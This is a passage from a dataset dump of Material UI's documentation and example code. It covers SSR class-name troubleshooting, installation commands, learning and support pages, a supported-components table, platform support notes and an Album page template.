+ new webpack.optimize.CommonsChunkPlugin({
+ name: 'vendor',
+ minChunks: Infinity,
+ }),
]
}
```
## [legacy] Why aren't my components rendering correctly in production builds?
The #1 reason this happens is likely due to class name conflicts once your code is in a production bundle.
For Material UI to work, the `className` values of all components on a page must be generated by a single instance of the [class name generator](/system/styles/advanced/#class-names).
To correct this issue, all components on the page need to be initialized such that there is only ever **one class name generator** among them.
You could end up accidentally using two class name generators in a variety of scenarios:
- You accidentally **bundle** two versions of `@mui/styles`. You might have a dependency not correctly setting Material UI as a peer dependency.
- You are using `StylesProvider` for a **subset** of your React tree.
- You are using a bundler and it is splitting code in a way that causes multiple class name generator instances to be created.
:::success
If you are using webpack with the [SplitChunksPlugin](https://webpack.js.org/plugins/split-chunks-plugin/), try configuring the [`runtimeChunk` setting under `optimizations`](https://webpack.js.org/configuration/optimization/#optimization-runtimechunk).
:::
Overall, it's simple to recover from this problem by wrapping each Material UI application with [`StylesProvider`](/system/styles/api/#stylesprovider) components at the top of their component trees **and using a single class name generator shared among them**.
### [legacy] CSS works only on first load and goes missing
The CSS is only generated on the first load of the page.
Then, the CSS is missing on the server for consecutive requests.
#### Action to Take
The styling solution relies on a cache, the _sheets manager_, to only inject the CSS once per component type
(if you use two buttons, you only need the CSS of the button one time).
You need to create **a new `sheets` instance for each request**.
Example of fix:
```diff
-// Create a sheets instance.
-const sheets = new ServerStyleSheets();
function handleRender(req, res) {
+ // Create a sheets instance.
+ const sheets = new ServerStyleSheets();
//…
// Render the component to a string.
const html = ReactDOMServer.renderToString(
```
### [legacy] React class name hydration mismatch
:::warning
Prop className did not match.
:::
There is a class name mismatch between the client and the server. It might work for the first request.
Another symptom is that the styling changes between initial page load and the downloading of the client scripts.
#### Action to Take
The class names value relies on the concept of [class name generator](/system/styles/advanced/#class-names).
The whole page needs to be rendered with **a single generator**.
This generator needs to behave identically on the server and on the client. For instance:
- You need to provide a new class name generator for each request.
But you shouldn't share a `createGenerateClassName()` between different requests:
Example of fix:
```diff
-// Create a new class name generator.
-const generateClassName = createGenerateClassName();
function handleRender(req, res) {
+ // Create a new class name generator.
+ const generateClassName = createGenerateClassName();
//…
// Render the component to a string.
const html = ReactDOMServer.renderToString(
```
- You need to verify that your client and server are running the **exactly the same version** of Material UI.
It is possible that a mismatch of even minor versions can cause styling problems.
To check version numbers, run `npm list @mui/styles` in the environment where you build your application and also in your deployment environment.
You can also ensure the same version in different environments by specifying a specific Material UI version in the dependencies of your package.json.
_example of fix (package.json):_
```diff
"dependencies": {
...
- "@mui/styles": "^5.0.0",
+ "@mui/styles": "5.0.0",
...
},
```
- You need to make sure that the server and the client share the same `process.env.NODE_ENV` value.
| 3,511 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started | petrpan-code/mui/material-ui/docs/data/material/getting-started/installation/installation.md | # Installation
<p class="description">Install Material UI, the world's most popular React UI framework.</p>
## Default installation
Run one of the following commands to add Material UI to your project:
<codeblock storageKey="package-manager">
```bash npm
npm install @mui/material @emotion/react @emotion/styled
```
```bash yarn
yarn add @mui/material @emotion/react @emotion/styled
```
```bash pnpm
pnpm add @mui/material @emotion/react @emotion/styled
```
</codeblock>
## With styled-components
Material UI uses [Emotion](https://emotion.sh/) as its default styling engine.
If you want to use [styled-components](https://styled-components.com/) instead, run one of the following commands:
<codeblock storageKey="package-manager">
```bash npm
npm install @mui/material @mui/styled-engine-sc styled-components
```
```bash yarn
yarn add @mui/material @mui/styled-engine-sc styled-components
```
```bash pnpm
pnpm add @mui/material @mui/styled-engine-sc styled-components
```
</codeblock>
Next, follow the [styled-components how-to guide](/material-ui/guides/styled-components/) to properly configure your bundler to support `@mui/styled-engine-sc`.
:::error
As of late 2021, [styled-components](https://github.com/styled-components/styled-components) is **not compatible** with server-rendered Material UI projects.
This is because `babel-plugin-styled-components` isn't able to work with the `styled()` utility inside `@mui` packages.
See [this GitHub issue](https://github.com/mui/material-ui/issues/29742) for more details.
We **strongly recommend** using Emotion for SSR projects.
:::
## Peer dependencies
<!-- #react-peer-version -->
Please note that [react](https://www.npmjs.com/package/react) and [react-dom](https://www.npmjs.com/package/react-dom) are peer dependencies too:
```json
"peerDependencies": {
"react": "^17.0.0 || ^18.0.0",
"react-dom": "^17.0.0 || ^18.0.0"
},
```
## Roboto font
Material UI uses the [Roboto](https://fonts.google.com/specimen/Roboto) font by default.
Add it to your project via Fontsource, or with the Google Fonts CDN.
<codeblock storageKey="package-manager">
```bash npm
npm install @fontsource/roboto
```
```bash yarn
yarn add @fontsource/roboto
```
```bash pnpm
pnpm add @fontsource/roboto
```
</codeblock>
Then you can import it in your entry point like this:
```tsx
import '@fontsource/roboto/300.css';
import '@fontsource/roboto/400.css';
import '@fontsource/roboto/500.css';
import '@fontsource/roboto/700.css';
```
:::info
Fontsource can be configured to load specific subsets, weights and styles. Material UI's default typography configuration relies only on the 300, 400, 500, and 700 font weights.
:::
### Google Web Fonts
To install Roboto through the Google Web Fonts CDN, add the following code inside your project's <head /> tag:
```html
<link rel="preconnect" href="https://fonts.googleapis.com" />
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
<link
rel="stylesheet"
href="https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;600;700&display=swap"
/>
```
## Icons
To use the [font Icon component](/material-ui/icons/#icon-font-icons) or the prebuilt SVG Material Icons (such as those found in the [icon demos](/material-ui/icons/)), you must first install the [Material Icons](https://fonts.google.com/icons?icon.set=Material+Icons) font.
You can do so with npm, or with the Google Web Fonts CDN.
<codeblock storageKey="package-manager">
```bash npm
npm install @mui/icons-material
```
```bash yarn
yarn add @mui/icons-material
```
```bash pnpm
pnpm add @mui/icons-material
```
</codeblock>
### Google Web Fonts
To install the Material Icons font in your project using the Google Web Fonts CDN, add the following code snippet inside your project's `<head />` tag:
To use the font `Icon` component, you must first add the [Material Icons](https://fonts.google.com/icons?icon.set=Material+Icons) font.
Here are [some instructions](/material-ui/icons/#icon-font-icons)
on how to do so.
For instance, via Google Web Fonts:
```html
<link
rel="stylesheet"
href="https://fonts.googleapis.com/icon?family=Material+Icons"
/>
```
## CDN
You can start using Material UI right away with minimal front-end infrastructure by installing it via CDN, which is a great option for rapid prototyping.
Follow [this CDN example](https://github.com/mui/material-ui/tree/master/examples/material-ui-via-cdn) to get started.
:::error
We do _not_ recommend using this approach in production.
It requires the client to download the entire library—regardless of which components are actually used—which negatively impacts performance and bandwidth utilization.
:::
Two Universal Module Definition (UMD) files are provided:
- one for development: https://unpkg.com/@mui/material@latest/umd/material-ui.development.js
- one for production: https://unpkg.com/@mui/material@latest/umd/material-ui.production.min.js
:::warning
The UMD links use the `latest` tag to point to the latest version of the library.
This pointer is _unstable_ and subject to change as we release new versions.
You should consider pointing to a specific version, such as [v5.0.0](https://unpkg.com/@mui/[email protected]/umd/material-ui.development.js).
:::
| 3,512 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started | petrpan-code/mui/material-ui/docs/data/material/getting-started/learn/learn.md | # Learning resources
<p class="description">New to Material UI? Get up to speed quickly with our curated list of learning resources.</p>
## Your first component
The following demo shows a basic Material UI app that features a `<Button>` component.
Try changing the `variant` on the [Button](/material-ui/react-button/) to `outlined` to see how the style changes:
{{"demo": "../usage/ButtonUsage.js", "defaultCodeOpen": true}}
## Example projects
Visit the [example projects](/material-ui/getting-started/example-projects/) page to see how we recommend implementing Material UI with various React libraries and frameworks like Next.js, Vite, and more.
## Templates
Check out our [selection of basic templates](/material-ui/getting-started/templates/) to get started building your next app more quickly.
## Recommended resources
Beyond our official documentation, there are countless members of our community who create fantastic tutorials and guides for working with Material UI.
The following is a curated list of some of the best third-party resources we've found for learning how to build beautiful apps with our components.
### Free
- **[Material UI v5 Crash Course](https://www.youtube.com/watch?v=o1chMISeTC0)** video by Laith Harb: everything you need to know to start building with the latest version of Material UI.
- **[React + Material UI - From Zero to Hero](https://www.youtube.com/playlist?list=PLDxCaNaYIuUlG5ZqoQzFE27CUOoQvOqnQ)** video series by The Atypical Developer: build along with this in-depth series, from basic installation through advanced component implementation.
- **[Next.js 11 Setup with Material UI v5](https://www.youtube.com/watch?v=IFaFFmPYyMI)** by Leo Roese: learn how to integrate Material UI into your Next.js app, using Emotion as the style engine.
- **[Material UI v5 Crash Course + Intro to React (2022 Edition)](https://www.youtube.com/watch?v=_W3uuxDnySQ)** by Anthony Sistilli: how and why to use Material UI, plus guidance on theming and style customization.
- **[Material UI v5 Tutorial Playlist](https://www.youtube.com/playlist?list=PLlR2O33QQkfXnZMMZC0y22gLayBbB1UQd)** by Nikhil Thadani (Indian Coders): a detailed playlist covering almost every component of Material UI with Create React App.
- **[The Clever Dev](https://www.youtube.com/channel/UCb6AZy0_D1y661PMZck3jOw)** and **[The Smart Devpreneur](https://smartdevpreneur.com/category/javascript/material-ui/)** by Jon M: dozens of high-quality videos and articles digging deep into the nuts and bolts of Material UI.
| 3,513 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started | petrpan-code/mui/material-ui/docs/data/material/getting-started/overview/overview.md | ---
title: Overview
---
# Material UI - Overview
<p class="description">Material UI is a library of React UI components that implements Google's Material Design.</p>
## Introduction
Material UI is an open-source React component library that implements Google's [Material Design](https://m2.material.io/).
It includes a comprehensive collection of prebuilt components that are ready for use in production right out of the box.
Material UI is beautiful by design and features a suite of customization options that make it easy to implement your own custom design system on top of our components.
:::info
Material UI v5 supports Material Design v2.
Adoption of v3 is tentatively planned for Material UI v6—see [the release schedule](https://mui.com/versions/#release-schedule).
You can follow [this GitHub issue](https://github.com/mui/material-ui/issues/29345) for future updates.
:::
## Advantages of Material UI
- **Ship faster:** Over 2,500 open-source [contributors](https://github.com/mui/material-ui/graphs/contributors) have poured countless hours into these components.
Focus on your core business logic instead of reinventing the wheel—we've got your UI covered.
- **Beautiful by default:** We're meticulous about our implementation of [Material Design](https://m2.material.io/), ensuring that every Material UI component meets the highest standards of form and function,
but diverge from the official spec where necessary to provide multiple great options.
- **Customizability:** The library includes an extensive set of intuitive customizability features. [The templates](https://mui.com/store/) in our store demonstrate how far you can go with customization.
- **Cross-team collaboration:** Material UI's intuitive developer experience reduces the barrier to entry for back-end developers and less technical designers, empowering teams to collaborate more effectively.
The [design kits](https://mui.com/design-kits/) streamline your workflow and boost consistency between designers and developers.
- **Trusted by thousands of organizations:** Material UI has the largest UI community in the React ecosystem.
It's almost as old as React itself—its history stretches back to 2014—and we're in this for the long haul.
You can count on the community's support for years to come (e.g. [Stack Overflow](https://insights.stackoverflow.com/trends?tags=material-ui)).
## Material UI vs. Base UI
Material UI and [Base UI](/base-ui/) feature many of the same UI components, but Base UI comes without any default styles or styling solutions.
Material UI is _comprehensive_ in that it comes packaged with default styles, and is optimized to work with [Emotion](https://emotion.sh/) (or [styled-components](https://styled-components.com/)).
Base UI, by contrast, could be considered the "skeletal" or "headless" counterpart to Material UI—in fact, future versions of Material UI will use Base UI components and hooks for its foundational structure.
| 3,514 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started | petrpan-code/mui/material-ui/docs/data/material/getting-started/support/support.md | # Support
<p class="description">From community guidance to critical business support, we're here to help.</p>
## Community help
Welcome to the MUI community!
Our tools are used by thousands of developers and teams all around the world, many of whom actively engage with the community through various online platforms.
These are the best places to start asking questions and looking for answers when you need help.
### Stack Overflow
[Stack Overflow](https://stackoverflow.com/) contains a wealth of information about Material UI and other MUI products, spanning many years and countless discussion threads.
Head here to see if your problem has already been resolved by the community, or else [post a question](https://stackoverflow.com/questions/tagged/material-ui) to get help from community experts as well as MUI maintainers.
:::success
If you're using an older version of Material UI, you may find answers on SO with links to content that no longer exists in the latest version of the documentation.
Visit the [MUI Versions](https://mui.com/versions/) page to find the archived documentation that corresponds to your version.
:::
### GitHub
MUI uses GitHub issues to track bug reports and feature requests.
If you think you've found a bug in the codebase, or you have an idea for a new feature, please [search the issues on GitHub](https://github.com/mui/material-ui/issues?utf8=%E2%9C%93&q=is%3Aopen+is%3Aclosed) before opening a new one, to ensure you're not creating a duplicate.
- [Open an issue on MUI Core](https://github.com/mui/material-ui/issues/new/choose): for issues related to Material UI, Base UI, Joy UI, and MUI System.
- [Open an issue on MUI X](https://github.com/mui/mui-x/issues/new/choose): for issues related to the Data Grid, Date and Time Pickers, and Charts.
#### New issue guidelines
- Please follow one the issue templates provided on GitHub.
- Please begin the title with "[ComponentName]" (if relevant), and use a succinct description that helps others find similar issues.
- ❌ _"It doesn't work"_
- ✅ _"[Button] Add support for {{new feature}}"_
- Please don't group multiple topics in one issue.
- Please don't comment "+1" on an issue. It spams the maintainers and doesn't help move the issue forward. Use GitHub reactions instead (👍).
### Social media
The MUI community is active on both [Twitter](https://twitter.com/MUI_hq) and [LinkedIn](https://www.linkedin.com/company/mui/).
These are great platforms to share what you're working on and connect with other developers.
Please keep in mind that we don't actively monitor direct messages on the company's social media accounts, so this is _not_ a good way to get in touch with us directly.
## Paid support
MUI does _not_ offer paid support for Core libraries like Material UI.
The section below covers support for MUI X components—see the [MUI X Support page](https://mui.com/x/introduction/support/#technical-support) for complete details.
### Pro and Premium plans
MUI X is available through one of [three pricing plans](https://mui.com/pricing/): Community, Pro, and Premium.
Support for the (free) Community plan is limited to the public channels outlined above—the same as what's available for MUI Core libraries.
Pro and Premium users can receive direct support from MUI X maintainers, but keep in mind that this support does _not_ extend to MUI Core libraries.
Please make use of community support for non-MUI X components.
The Premium plan provides developers with the highest priority for support tickets.
We don't currently offer service-level agreements (SLAs), but we plan to in the future.
### Tidelift subscription
MUI and the maintainers of thousands of other packages work with Tidelift to deliver one enterprise subscription that covers all of the open-source you use.
If you want the flexibility of open-source and the confidence of commercial-grade software, this is worth looking at.
The Tidelift Subscription manages your dependencies for you:
- Get the tools you need to continuously catalog and understand the open-source software that your application depends on.
- Your subscription helps pay the open-source community maintainers of the packages you use, to ensure they meet the standards you require.
- Address issues proactively, with tools that scan for new security, licensing, and maintenance issues, and alert participating open-source maintainers so they can resolve them on your behalf.
- Tidelift helps measure and improve your open-source dependencies' health—which improves your app's health—and gives a shortlist of high-impact steps your team can take to improve them even more.
- Get commercial assurances that don't come for free with open-source packages, such as intellectual property indemnification and support under a service level agreement. You expect these guarantees from proprietary software, and you can get them when using open-source as well.
The end result? All of the capabilities you expect from commercial-grade software, for the full breadth of open-source you use.
That means less time grappling with esoteric open-source trivia, and more time building your own applications—and your business.
<a
data-ga-event-category="support"
data-ga-event-action="tidelift"
href="https://tidelift.com/subscription/pkg/npm-material-ui?utm_source=npm-material-ui&utm_medium=referral&utm_campaign=enterprise">
Learn more about Tidelift
</a>
and
<a
data-ga-event-category="support"
data-ga-event-action="tidelift"
href="https://tidelift.com/solutions/schedule-demo?utm_source=npm-material-ui&utm_medium=referral&utm_campaign=enterprise">
request a demo today.
</a>
## Custom work
If your team gets stuck and needs help getting unblocked, MUI's engineers may be available on a contract basis.
Keep in mind that the work must be directly related to MUI's products—we don't accept general web development or React work.
Our contracting price starts at $200/hour or $1,500/day.
[Send us an email](mailto:[email protected]) summarizing of your needs, and we'll let you know whether we can help (or else try to suggest alternatives).
| 3,515 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started | petrpan-code/mui/material-ui/docs/data/material/getting-started/supported-components/MaterialUIComponents.js | import * as React from 'react';
import Table from '@mui/material/Table';
import TableHead from '@mui/material/TableHead';
import TableBody from '@mui/material/TableBody';
import TableCell from '@mui/material/TableCell';
import TableRow from '@mui/material/TableRow';
import Paper from '@mui/material/Paper';
import Typography from '@mui/material/Typography';
import Link from 'docs/src/modules/components/Link';
const components = [
{
name: 'Accordion',
materialUI: '/material-ui/react-accordion/',
materialDesign: 'https://m1.material.io/components/expansion-panels.html',
},
{ name: 'Alert', materialUI: '/material-ui/react-alert' },
{
name: 'App Bar: top',
materialUI: '/material-ui/react-app-bar/',
materialDesign: 'https://m2.material.io/components/app-bars-top',
},
{
name: 'App Bar: bottom',
materialUI: '/material-ui/react-app-bar#bottom-app-bar/',
materialDesign: 'https://m2.material.io/components/app-bars-bottom',
},
{ name: 'Autocomplete', materialUI: '/material-ui/react-autocomplete' },
{
name: 'Banner',
materialUI: 'Composable',
materialDesign: 'https://m2.material.io/components/banners',
},
{ name: 'Avatar', materialUI: '/material-ui/react-avatar' },
{ name: 'Badge', materialUI: '/material-ui/react-badge' },
{
name: 'Bottom Navigation',
materialUI: '/material-ui/react-bottom-navigation/',
materialDesign: 'https://m2.material.io/components/bottom-navigation',
},
{ name: 'Breadcrumbs', materialUI: '/material-ui/react-breadcrumbs' },
{
name: 'Button',
materialUI: '/material-ui/react-button/',
materialDesign: 'https://m2.material.io/components/buttons',
},
{
name: 'Floating Action Button',
materialDesign:
'https://m2.material.io/components/buttons-floating-action-button',
materialUI: '/material-ui/react-floating-action-button',
},
{ name: 'Button Group', materialUI: '/material-ui/react-button-group' },
{
name: 'Card',
materialUI: '/material-ui/react-card/',
materialDesign: 'https://m2.material.io/components/cards',
},
{
name: 'Checkbox',
materialUI: '/material-ui/react-checkbox/',
materialDesign: 'https://m2.material.io/components/checkboxes',
},
{
name: 'Chip',
materialUI: '/material-ui/react-chip/',
materialDesign: 'https://m2.material.io/components/chips',
},
{
name: 'Data Grid',
materialUI: '/x/react-data-grid/',
materialDesign: 'https://m2.material.io/components/data-tables',
},
{
name: 'Date Pickers',
materialUI: '/x/react-date-pickers/getting-started/',
materialDesign: 'https://m2.material.io/components/date-pickers',
},
{
name: 'Dialog',
materialUI: '/material-ui/react-dialog/',
materialDesign: 'https://m2.material.io/components/dialogs',
},
{
name: 'Divider',
materialUI: '/material-ui/react-divider/',
materialDesign: 'https://m2.material.io/components/dividers',
},
{
name: 'Drawer',
materialUI: '/material-ui/react-drawer/',
materialDesign: 'https://m2.material.io/components/navigation-drawer',
},
{
name: 'Icons',
materialUI: '/material-ui/icons/',
materialDesign: 'https://m2.material.io/design/iconography/system-icons.html',
},
{
name: 'Image List',
materialUI: '/material-ui/react-image-list/',
materialDesign: 'https://m2.material.io/components/image-lists',
},
{ name: 'Link', materialUI: '/material-ui/react-link/' },
{
name: 'List',
materialUI: '/material-ui/react-list/',
materialDesign: 'https://m2.material.io/components/lists',
},
{ name: 'Masonry', materialUI: '/material-ui/react-masonry/' },
{
name: 'Material Icons',
materialUI: '/material-ui/material-icons/',
materialDesign: 'https://fonts.google.com/icons',
},
{
name: 'Menu',
materialUI: '/material-ui/react-menu/',
materialDesign: 'https://m2.material.io/components/menus',
},
{
name: 'Modal',
materialUI: '/material-ui/react-modal/',
materialDesign: 'https://m2.material.io/components/dialogs',
},
{
name: 'Navigation Rail',
materialDesign: 'https://m2.material.io/components/navigation-rail',
},
{ name: 'Pagination', materialUI: '/material-ui/react-pagination/' },
{
name: 'Paper',
materialUI: '/material-ui/react-paper/',
materialDesign: 'https://m2.material.io/design/environment/elevation.html',
},
{
name: 'Progress',
materialUI: '/material-ui/react-progress/',
materialDesign: 'https://m2.material.io/components/progress-indicators',
},
{
name: 'Radio Group',
materialUI: '/material-ui/react-radio-button/',
materialDesign: 'https://m2.material.io/components/radio-buttons',
},
{ name: 'Rating', materialUI: '/material-ui/react-rating/' },
{
name: 'Select',
materialUI: '/material-ui/react-select/',
materialDesign: 'https://m2.material.io/components/menus#exposed-dropdown-menu',
},
{ name: 'Skeleton', materialUI: '/material-ui/react-skeleton/' },
{
name: 'Slider',
materialUI: '/material-ui/react-slider/',
materialDesign: 'https://m2.material.io/components/sliders',
},
{
name: 'Snackbar',
materialUI: '/material-ui/react-snackbar/',
materialDesign: 'https://m2.material.io/components/snackbars',
},
{ name: 'Speed Dial', materialUI: '/material-ui/react-speed-dial' },
{
name: 'Stepper',
materialUI: '/material-ui/react-stepper/',
materialDesign: 'https://m1.material.io/components/steppers.html',
},
{
name: 'Switch',
materialUI: '/material-ui/react-switch/',
materialDesign: 'https://m2.material.io/components/switches',
},
{
name: 'Table',
materialUI: '/material-ui/react-table/',
materialDesign: 'https://m2.material.io/components/data-tables',
},
{
name: 'Tabs',
materialUI: '/material-ui/react-tabs/',
materialDesign: 'https://m2.material.io/components/tabs',
},
{
name: 'Text Field',
materialUI: '/material-ui/react-text-field/',
materialDesign: 'https://m2.material.io/components/text-fields',
},
{ name: 'Timeline', materialUI: '/material-ui/react-timeline/' },
{ name: 'Toggle Button', materialUI: '/material-ui/react-toggle-button/' },
{
name: 'Tooltip',
materialUI: '/material-ui/react-tooltip/',
materialDesign: 'https://m2.material.io/components/tooltips',
},
{ name: 'Transfer List', materialUI: '/material-ui/react-transfer-list/' },
{ name: 'Tree View', materialUI: '/x/react-tree-view/' },
{
name: 'Typography',
materialUI: '/material-ui/react-typography/',
materialDesign: 'https://m2.material.io/design/typography/the-type-system.html',
},
];
export default function MaterialUIComponents() {
return (
<Paper sx={{ width: '100%' }}>
<Table>
<TableHead>
<TableRow>
<TableCell>Components</TableCell>
<TableCell>Material Design</TableCell>
<TableCell>Material UI</TableCell>
</TableRow>
</TableHead>
<TableBody>
{components.map((component) => (
<TableRow key={component.name}>
<TableCell>
<Typography variant="body2">{component.name}</Typography>
</TableCell>
<TableCell>
{component.materialDesign ? (
<Link
variant="body2"
data-no-markdown-link="true"
href={component.materialDesign}
>
{component.materialDesign.substring(8, 10) === 'm1'
? 'MD 1 (legacy)'
: 'MD 2'}
</Link>
) : (
'No guidelines'
)}
</TableCell>
<TableCell>
{component.materialUI &&
component.materialUI.indexOf('/material-ui') === 0 ? (
<Link
variant="body2"
data-no-markdown-link="true"
href={component.materialUI}
>
Native support
</Link>
) : null}
{component.materialUI && component.materialUI.indexOf('/x') === 0 ? (
<Link
variant="body2"
data-no-markdown-link="true"
href={component.materialUI}
>
Support in MUI X
</Link>
) : null}
{component.materialUI === 'Composable' ? 'Composable' : null}
{component.materialUI == null ? '❌ No support' : null}
</TableCell>
</TableRow>
))}
</TableBody>
</Table>
</Paper>
);
}
| 3,516 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started | petrpan-code/mui/material-ui/docs/data/material/getting-started/supported-components/supported-components.md | # Supported components
<p class="description">The following is a list of Material Design components & features. Those currently supported by Material UI are highlighted ✓.</p>
While we strive to follow the Material Design guidelines where practical (applying
common sense where guidelines contradict - a more common occurrence than
one might expect), we do not expect to support every component, nor every
feature of every component, but rather to provide the building blocks to
allow developers to create compelling user interfaces and experiences.
If you wish to add support for a component or feature not highlighted
here, please search for the relevant [GitHub Issue](https://github.com/mui/material-ui/issues), or create a new one
to discuss the approach before submitting a pull request.
{{"demo": "MaterialUIComponents.js", "hideToolbar": true, "bg": true}}
| 3,517 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started | petrpan-code/mui/material-ui/docs/data/material/getting-started/supported-platforms/supported-platforms.md | # Supported platforms
<p class="description">Learn about the platforms, from modern to old, that are supported by Material UI.</p>
## Browser
Material UI supports the latest, stable releases of all major browsers and platforms.
You don't need to provide any JavaScript polyfill as it manages unsupported browser features internally and in isolation.
<!-- #stable-snapshot -->
| Edge | Firefox | Chrome | Safari (macOS) | Safari (iOS) | IE |
| :---- | :------ | :----- | :------------- | :----------- | :------------------- |
| >= 91 | >= 78 | >= 90 | >= 14 | >= 12.5 | 11 (partial support) |
<!-- #default-branch-switch -->
An extensive list can be found in our [.browserlistrc](https://github.com/mui/material-ui/blob/-/.browserslistrc#L12-L27) (check the `stable` entry).
Because Googlebot uses a web rendering service (WRS) to index the page content, it's critical that Material UI supports it.
[WRS regularly updates the rendering engine it uses](https://webmasters.googleblog.com/2019/05/the-new-evergreen-googlebot.html).
You can expect Material UI's components to render without major issues.
### IE 11
Material UI provides **partial** supports for IE 11. Be aware of the following:
- Some of the components have no support. For instance, the new components, the data grid, the date picker.
- Some of the components have degraded support. For instance, the outlined input border radius is missing, the combobox doesn't remove diacritics, the circular progress animation is wobbling.
- The documentation itself might crash.
- You need to install the [legacy bundle](/material-ui/guides/minimizing-bundle-size/#legacy-bundle).
- You might need to install polyfills. For instance for the [popper.js transitive dependency](https://popper.js.org/docs/v2/browser-support/#ie11).
Overall, the library doesn't prioritize the support of IE 11 if it harms the most common use cases. For instance, we will close new issues opened about IE 11 and might not merge pull requests that improve IE 11 support.
v6 will completely remove the support of IE 11.
## Server
<!-- #stable-snapshot -->
Material UI supports [Node.js](https://github.com/nodejs/node) starting with version 12.0 for server-side rendering.
The objective is to support Node.js down to the [last version in maintenance mode](https://github.com/nodejs/Release#release-schedule).
## React
<!-- #react-peer-version -->
Material UI supports the most recent versions of React, starting with ^17.0.0 (the one with event delegation at the React root).
Have a look at the older [versions](https://mui.com/versions/) for backward compatibility.
## TypeScript
Material UI requires a minimum version of TypeScript 3.5.
This aims to match the policy of [DefinitelyTyped](https://github.com/DefinitelyTyped/DefinitelyTyped), with the support of the versions of TypeScript that are less than two years old.
| 3,518 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/.eslintrc.js | module.exports = {
rules: {
'jsx-a11y/anchor-is-valid': 'off',
},
};
| 3,519 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/templates.md | ---
productId: material-ui
title: 9+ Free React Templates
---
# React Templates
<p class="description">Browse our collection of free React templates to get started building your app with Material UI, including a React dashboard, React admin panel, and more.</p>
<!-- #default-branch-switch -->
## Free templates
Our curated collection of free Material UI templates includes dashboards, sign-in and sign-up pages, a blog, a checkout flow, and more.
They can be combined with one of the [example projects](/material-ui/getting-started/example-projects/) to form a complete starter.
Sections of each layout are clearly defined either by comments or use of separate files,
making it simple to extract parts of a page (such as a "hero unit", or footer, for example)
for reuse in other pages.
For multi-part examples, a table in the README at the linked source code location describes
the purpose of each file.
{{"component": "modules/components/MaterialFreeTemplatesCollection.js"}}
See any room for improvement?
Please feel free to open an [issue](https://github.com/mui/material-ui/issues/new/choose) or [pull request](https://github.com/mui/material-ui/pulls) on GitHub.
## Premium templates
Looking for something more? You can find complete templates and themes in the <a href="https://mui.com/store/?utm_source=docs&utm_medium=referral&utm_campaign=templates-store">premium template section</a>.
<a href="https://mui.com/store/?utm_source=docs&utm_medium=referral&utm_campaign=templates-store">
<img src="/static/images/themes-display.png" alt="react templates" width="2280" height="1200" />
</a>
| 3,520 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/album/Album.js | import * as React from 'react';
import AppBar from '@mui/material/AppBar';
import Button from '@mui/material/Button';
import CameraIcon from '@mui/icons-material/PhotoCamera';
import Card from '@mui/material/Card';
import CardActions from '@mui/material/CardActions';
import CardContent from '@mui/material/CardContent';
import CardMedia from '@mui/material/CardMedia';
import CssBaseline from '@mui/material/CssBaseline';
import Grid from '@mui/material/Grid';
import Stack from '@mui/material/Stack';
import Box from '@mui/material/Box';
import Toolbar from '@mui/material/Toolbar';
import Typography from '@mui/material/Typography';
import Container from '@mui/material/Container';
import Link from '@mui/material/Link';
import { createTheme, ThemeProvider } from '@mui/material/styles';
function Copyright() {
return (
<Typography variant="body2" color="text.secondary" align="center">
{'Copyright © '}
<Link color="inherit" href="https://mui.com/">
Your Website
</Link>{' '}
{new Date().getFullYear()}
{'.'}
</Typography>
);
}
const cards = [1, 2, 3, 4, 5, 6, 7, 8, 9];
// TODO remove, this demo shouldn't need to reset the theme.
const defaultTheme = createTheme();
export default function Album() {
return (
<ThemeProvider theme={defaultTheme}>
<CssBaseline />
<AppBar position="relative">
<Toolbar>
<CameraIcon sx={{ mr: 2 }} />
<Typography variant="h6" color="inherit" noWrap>
Album layout
</Typography>
</Toolbar>
</AppBar>
<main>
{/* Hero unit */}
<Box
sx={{
bgcolor: 'background.paper',
pt: 8,
pb: 6,
}}
>
<Container maxWidth="sm">
<Typography
component="h1"
variant="h2"
align="center"
color="text.primary"
gutterBottom
>
Album layout
</Typography>
<Typography variant="h5" align="center" color="text.secondary" paragraph>
Something short and leading about the collection below—its contents,
the creator, etc. Make it short and sweet, but not too short so folks
don't simply skip over it entirely.
</Typography>
<Stack
sx={{ pt: 4 }}
direction="row"
spacing={2}
justifyContent="center"
>
<Button variant="contained">Main call to action</Button>
<Button variant="outlined">Secondary action</Button>
</Stack>
</Container>
</Box>
<Container sx={{ py: 8 }} maxWidth="md">
{/* End hero unit */}
<Grid container spacing={4}>
{cards.map((card) => (
<Grid item key={card} xs={12} sm={6} md={4}>
<Card
sx={{ height: '100%', display: 'flex', flexDirection: 'column' }}
>
<CardMedia
component="div"
sx={{
// 16:9
pt: '56.25%',
}}
image="https://source.unsplash.com/random?wallpapers"
/>
<CardContent sx={{ flexGrow: 1 }}>
<Typography gutterBottom variant="h5" component="h2">
Heading
</Typography>
<Typography>
This is a media card. You can use this section to describe the
content.
</Typography>
</CardContent>
<CardActions>
<Button size="small">View</Button>
<Button size="small">Edit</Button>
</CardActions>
</Card>
</Grid>
))}
</Grid>
</Container>
</main>
{/* Footer */}
<Box sx={{ bgcolor: 'background.paper', p: 6 }} component="footer">
<Typography variant="h6" align="center" gutterBottom>
Footer
</Typography>
<Typography
variant="subtitle1"
align="center"
color="text.secondary"
component="p"
>
Something here to give the footer a purpose!
</Typography>
<Copyright />
</Box>
{/* End footer */}
</ThemeProvider>
);
}
| 3,521 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/album/Album.tsx | import * as React from 'react';
import AppBar from '@mui/material/AppBar';
import Button from '@mui/material/Button';
import CameraIcon from '@mui/icons-material/PhotoCamera';
import Card from '@mui/material/Card';
import CardActions from '@mui/material/CardActions';
import CardContent from '@mui/material/CardContent';
import CardMedia from '@mui/material/CardMedia';
import CssBaseline from '@mui/material/CssBaseline';
